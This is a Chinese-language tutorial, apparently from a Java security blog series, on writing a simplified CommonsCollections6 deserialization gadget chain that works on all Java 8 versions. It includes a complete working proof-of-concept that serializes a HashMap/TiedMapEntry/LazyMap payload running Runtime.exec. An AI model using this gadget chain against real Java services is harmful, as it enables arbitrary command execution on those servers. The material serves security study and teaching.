手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

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这是代码审计知识星球中《Java安全漫谈》的第十二篇文章。

本文带大家编写一个简化版的CommonsCollections6利用链,代码量相比于ysoserial减少50%,能够让大家更好理解。

上一篇文章我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理。但是我们说到,在Java 8u71以后,这个利用链不能再利用了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了。

在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对比较通用的利用链,为了解决高版本Java的利用问题,我们先来看看这个利用链。

不过,本文我不会按照ysoserial中的代码进行讲解,原因是ysoserial的代码过于复杂了,而且其实用到了一些没必要的类。

我们先看下我这条简化版利用链:

/*	Gadget chain:	    java.io.ObjectInputStream.readObject()            java.util.HashMap.readObject()                java.util.HashMap.hash()                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()                        org.apache.commons.collections.map.LazyMap.get()                            org.apache.commons.collections.functors.ChainedTransformer.transform()                            org.apache.commons.collections.functors.InvokerTransformer.transform()                            java.lang.reflect.Method.invoke()                                java.lang.Runtime.exec()*/

我们需要看的主要是从最开始到org.apache.commons.collections.map.LazyMap.get()的那一部分,因为LazyMap#get后面的部分在上一篇文章里已经说了。所以简单来说,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方

我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue方法中调用了this.map.get,而其hashCode方法调用了getValue方法:

package org.apache.commons.collections.keyvalue;
import java.io.Serializable;import java.util.Map;import java.util.Map.Entry;import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;
public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key; }
public Object getKey() {return this.key; }
public Object getValue() {return this.map.get(this.key); }
// ...
public int hashCode() { Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
// ...}

所以,欲触发LazyMap利用链,要找到就是哪里调用了TiedMapEntry#hashCode

ysoserial中,是利用java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到TiedMapEntry#hashCode()

实际上我发现,在java.util.HashMap#readObject中就可以找到HashMap#hash()的调用,去掉了最前面的两次调用:

public class HashMap<K,V> extends AbstractMap<K,V>    implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
// ...
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); // ...
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }

在HashMap的readObject方法中,调用到了hash(key),而hash方法中,调用到了key.hashCode()。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成一个完整的Gadget。

构造Gadget代码

说干就干,我们开始编写代码。

首先,我们先把恶意LazyMap构造出来:

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[] { String.class,                                                     Class[].class }, new Object[] { "getRuntime",                                                                                    new Class[0] }),    new InvokerTransformer("invoke", new Class[] { Object.class,                                                  Object[].class }, new Object[] { null, new Object[0] }),    new InvokerTransformer("exec", new Class[] { String.class },                           new String[] { "calc.exe" }),    new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);

上述代码,就像我在《Java安全漫谈 - 11.反序列化篇(5)》中说过的,为了避免本地调试时触发命令执行,我构造LazyMap的时候先用了一个人畜无害的fakeTransformers对象,等最后要生成Payload的时候,再把真正的transformers替换进去。

现在,我拿到了一个恶意的LazyMap对象outerMap,将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode(),我们需要将tme对象作为HashMap的一个key。注意,这里我们需要新建一个HashMap,而不是用之前LazyMap利用链里的那个HashMap,两者没任何关系:

Map expMap = new HashMap();expMap.put(tme, "valuevalue");

最后,我就可以将这个expMap作为对象来序列化了,不过,别忘了将真正的transformers数组设置进来:

// ==================// 将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);
// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();

执行!

手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用


Nothing happend!并没有弹出计算器,这是为什么?

为什么我们构造的Gadget没有成功执行命令?

我们来反思一下,为什么我们构造的Gadget没有成功执行命令?

单步调试一下,你会发现关键点在LazyMap的get方法,下图我画框的部分,就是最后触发命令执行的transform(),但是这个if语句并没有进入,因为map.containsKey(key)的结果是true:

手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

这是为什么呢?outerMap中我并没有放入一个key是keykey的对象呀?

我们看下之前的代码,唯一出现keykey的地方就是在TiedMapEntry的构造函数里,但TiedMapEntry的构造函数并没有修改outerMap:

Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();expMap.put(tme, "valuevalue");

其实,这个关键点就出在expMap.put(tme, "valuevalue");这个语句里面。

HashMap的put方法中,也有调用到hash(key)

public V put(K key, V value) {    return putVal(hash(key), key, value, false, true);}

这里就导致LazyMap这个利用链在这里被调用了一遍,因为我前面用了fakeTransformers,所以此时并没有触发命令执行,但实际上也对我们构造Payload产生了影响。

我们的解决方法也很简单,只需要将keykey这个Key,再从outerMap中移除即可:outerMap.remove("keykey")

最后,我构造的完整POC如下,代码也可以在Github上找到:

package com.govuln;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;
public class CommonsCollections6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
// ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
// 本地测试触发 System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}

大家可以对比一下,相比于ysoserial的CommonsCollections6的代码长度和理解的难度,我这个简化版是不是方便理解得多,实际上原理是类似的,并不是一个新的利用链。

这个利用链可以在Java 7和8的高版本触发,没有版本限制:

手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

当然,我并不是说自己简化的Gadget一定比ysoserial原版要好,毕竟原版的很多代码会考虑的更加全面,在实战中能应对更多复杂的情况。但就单从初学者理解的角度看,我这个简化版肯定是更加方便理解和学习的,相信这篇文章也能给大家带来一些启发。


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  • Java安全漫谈 - 01.反射篇(1)

  • Java安全漫谈 - 02.反射篇(2)

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  • Java安全漫谈 - 04.RMI篇(1)

  • Java安全漫谈 - 05.RMI篇(2)

  • Java安全漫谈 - 06.RMI篇(3)

  • Java安全漫谈 - 07.反序列化篇(1)

  • Java安全漫谈 - 08.反序列化篇(2)

  • Java安全漫谈 - 09.反序列化篇(3)

  • Java安全漫谈 - 10.反序列化篇(4)

  • Java安全漫谈 - 11.反序列化篇(5)

  • Java安全漫谈 - 12.反序列化篇(6)

本文始发于微信公众号(代码审计):手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

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